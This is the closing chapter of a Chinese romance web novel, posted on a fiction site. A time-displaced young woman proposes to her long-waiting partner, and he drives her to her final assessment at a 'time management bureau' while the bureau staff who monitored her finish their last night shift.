和这个人一起生活,组建一个家庭,是陶欣生平第一次陷入热恋,过二十岁生日时许下的愿望,也是她和周廷之在山里遇到危险时,脑海中为数不多的念头。 还有很多时候,只是抱着周廷之,那些从心底漫出来的,无处宣泄的感情,就会变成自己的声音不断在耳边回响。 好愛他,好想和他结婚。 她知道他也是一样的,迫切地想要走入婚姻,组建属于他们两个的家庭。 可从以前到现在,决定权一直都在她的手里。 从前他需要更努力的学习,寻找机会,成就事业,得到她父母和世俗的认可,而现在,他被年龄限制住脚步,作为年长者,不能引导青春正好的女朋友和他走进婚姻的殿堂,永远和他捆绑在一起。 他能做的只有在未知和不安中等待。 陶欣不想讓他再等了,她想讓他未来的每一天都是快乐和幸福的,而她和周廷之在一起的每一天,已经足够幸福与快乐。 所以就那样,水到渠成地说出了这句话——“你生日那天,我们去领证结婚吧。” 可是话说出口,陶欣又莫名有些害羞,等不及周廷之做出反应就匆匆挂断了视频。 捧着手机,心脏跳很快。 虽然表达愛意是像呼吸一样自然的事,但主动的提出结婚,对陶欣而言,就像是第一次和周廷之牵手,悸动的电流一瞬间分布到每一处末梢神经。 手机响了两声。 陶欣解锁屏幕,看到周廷之发来的消息。 【周廷之:像做梦】 【周廷之:你可以随时反悔】 【陶欣:我反悔你不会生气吗?】 【周廷之:当然生气】 【周廷之:不过我会原谅你三萬次】 假设一个人能活到八十岁,生命里也才只有两萬九千二百天。 【陶欣:我没那么坏哦】 【周 廷之:我知道,我好幸运】 这一晚,周廷之几乎没睡,半梦半醒时脑海中总能浮现出陶欣说那句话的情景,以为是梦,一下子醒来,立刻从床头柜上拿起自己的手机,将切切实实的聊天记录从头到尾看一遍,又因为过于兴奋,彻底没了睡意。 就像是年少时,第一次和陶欣正式约会,确认男女朋友关系的那天晚上。 …… 时间很快来到三月十六号,是陶欣独立观察期的最后一天。 一清早,还不到六点,小曼推开陶欣住处的单元门,径直上了四樓。陶欣住三樓,四樓是管理局的根据地。 小曼打开门锁,果不其然是一屋子二手烟。她倒也没抱怨,毕竟两个男同志连着值一个月夜班已经很不容易了,再不讓抽烟提神,实在过于残忍。 “欸。”趙哥从监控顯示屏后面抬起头,一副胡子拉碴的模样:“你今天来这么早。” “最后一天了大哥。”小曼走过去,拿起桌上的记录表,还是整晚无异常。 “最后一天……”趙哥眼睛一睁,好像才清醒过来,猛地站起身,扑到一旁的床上,范进中举似的疯癫:“老天爷啊,终于不用上夜班了!” 一旁睡觉的同事被他吵醒,抬起头看看小曼,又看看外边微亮的曦光,一把抱住趙哥说:“终于熬出头了啊兄弟。” “这一个月哪是制裁陶小姐啊,简直是制裁咱哥俩。” “谁说不是呢,求求了,让陶小姐一把过吧,可别再来一回了,我这岁数真禁不起一个月夜班了。” 小曼闻言看了眼日常评分:“我觉得没什么问題,说真的,前几天我还想着陶小姐这一生病,本来身体就不舒服,钱又都花光了,多半要心态崩盘呢,没想到还越来越稳定了,生着病能有这种表现,局长没道理不给高分。” “昨天晚上我还和老趙说呢,最后这几天陶小姐身上简直有种不成功便成仁的狠劲,我感觉局长要不给她过,她能杀到办公室锤死局长。” 说完三个人都想到了陶欣爆锤陳平的画面,不约而同地笑了起来。 “行了,把东西收拾收拾吧,今天中午就得撤走了,桌上这护手霜谁的?” “我的我的,这屋里太干了。” “你还挺精致。” “那是,我也是检查陶小姐行李时候,看见周总准备的。人呢,没人疼就自己对自己好点……” 赵哥正耍贫嘴,却注意到显示屏上缓缓驶来的车:“嗳,这是周廷之的车吗?” “我看看,哦,是。” “额……狗粮也要吃到最后一天。” 赵哥稍稍推开一点窗,清晨的冷风从罅隙中吹进来,散了屋里的烟味。他向下看去,周廷之的车就停在马路的另一边,是从驾驶位刚好能看到三楼窗户的角度。 赵哥并不是什么文艺青年,可这会看着在车里静静等待的周廷之,脑海中忽然冒出一句很浪漫的话。 “爱一个人的时候,等待也是甜蜜的啊。” 他大咧咧地说出来,果然惹得两个同事一阵倒胃口,赵哥笑笑,关上窗去收拾东西了。 陶欣习惯了早睡早起,六点半就准时起床了,因为今天是最后一天,待会还要去管理局进行最终考核,陶欣特意洗了个澡,吹干头发,简单画了个淡妆。 然后拍照给周廷之。 【陶欣:精神面貌如何?】 【周廷之:看上去就像个自强不息的独立女性】 【陶欣:说实话】 【周廷之:看上去就像硬撑着要去参加高考的高三生】 【陶欣:[地球不适合我jpg.]】 八点钟,有人敲门。 陶欣将垃圾袋系好,走到门口,从猫眼里看到小曼,才将门打开。 小曼一见她就说:“恭喜呀,终于熬出头了。” 陶欣笑起来:“同喜同喜,你们也终于熬出头了,不用天天加班了。” “等我最后检查一下屋内情况,我们就可以出发去管理局了。”小曼笑道:“你去楼下等我吧,赵哥他们在楼下呢。” “行。”陶欣穿好鞋,拎着垃圾袋下了楼。 赵哥的车就停在垃圾桶前,她扔完垃圾,转过身来开车门,没想到车门没开,车窗倒是降了下来。 赵哥用电动剃须刀刮着胡子,笑眯眯地给她递了一个眼神。 陶欣微怔,顺着赵哥的视线看过去,另一边停着一台她再熟悉不过的车。 “陶小姐,快去吧,人家六点就来了,都在这等两个小时了。” “……我可以坐他的车吗?” “太可以啦。” 陶欣一抿唇,朝车里的两个人笑一笑,便往另一边走去。 周廷之下了车,替她拉开副驾駛的车门,副驾駛座椅上有一束包装精致的郁金香。 陶欣并不意外,但仍然欣喜:“好漂亮。” 周廷之扶着车门,语气略有点小骄傲:“我自己包的。” 陶欣微微睁大眼:“真的?” “嗯,怕你不信,我还让小念录了视频。” “哇……你这水平,完全可以去开花店了!” 花束包装很容易上手,难得是审美,一束郁金香,颜色跳脱大胆,石纹肌理的纯白色包装纸,更衬出花束的优雅明媚。 陶欣爱不释手,可仍有疑惑:“你什么时候学的这个?” “想你的时候。”周廷之说:“我想以后每次送你的花都是我自己包的。” 陶欣嘟了嘟嘴:“怎么办,你把我对未来的期待值拉的太高,我岂不是很容易失望。” 周廷之看着她,神情忽然肃穆:“我会尽力不让你失望,如果偶尔有疏忽,请你一定要及时告诉我,给我改正的机会。” 或许,是因为两个人都在为结婚做准备,考虑的总是很长远。 陶欣凑过去,吻一吻他的脸颊:“没关系,我也会原谅你三万六千五百次。” “怎么变多了?” “唔,医学进步了,我们都还有很久很久的时间,活到一百岁,甚至一百二十岁。说不准你得原谅我四万次。” “……”周廷之沉默片刻,移开视线,不看陶欣了。顯而易见,他在很努力的克制自己出于本能的冲动。 小曼从楼上下来了,朝陶欣比了一个大拇指的手势,而后一行人开车前往管理局。 路上,周廷之问:“最后一项考核是什么?通知你了吗?” 陶欣吃着燕窝粥,摇摇头:“一点不知道。” “那你还这么淡定。” “既来之则安之,而且我感觉我已经做的足够好了,陳平……算了,不说,我知道这叫立flag。” 周廷之开着车,余光看了眼脸颊明显清瘦了许多的陶欣:“网络词汇运用越来越熟练,陶欣同志在考核期十分努力。” 陶欣看向嘴角微弯的周廷之,忽然想到第一次在管理局见他,那时候还是夏天。他戴着医用口罩,眼眸低垂,想看她,却又刻意不和她对视。 这半年多过得好快,不知不觉间,那个让她感到陌生的周廷之,又成为她最熟悉的人。 她忽然说:“周廷之,别怕,我只努力到和你一个水平。” 周廷之愣了下。 陶欣笑得明媚,恍惚间,周廷之觉得今天好像和十八年前一样,只是个寻常的早晨。 他爱的女孩,一直这般,说话笃定自信,比阳光更明朗。 “其实陈平最早告诉我,时间管理局的存在就是为了让我们这些掉进时间裂隙的人,找到时间流逝后、属于自己的正确的位置。” “但我早就没有这个问題了。” 陶欣转头对周廷之坚定地说:“我见到你后就知道,我没有这个问题了。” “因为无论多久,你一直留着我的位置。” “谢谢你,还在这里等我。” 车缓缓停下来。周廷之看向她,眼底的笑意一如从前。 ——正文完——【你现在阅读的是魔蝎小说 moxiexs】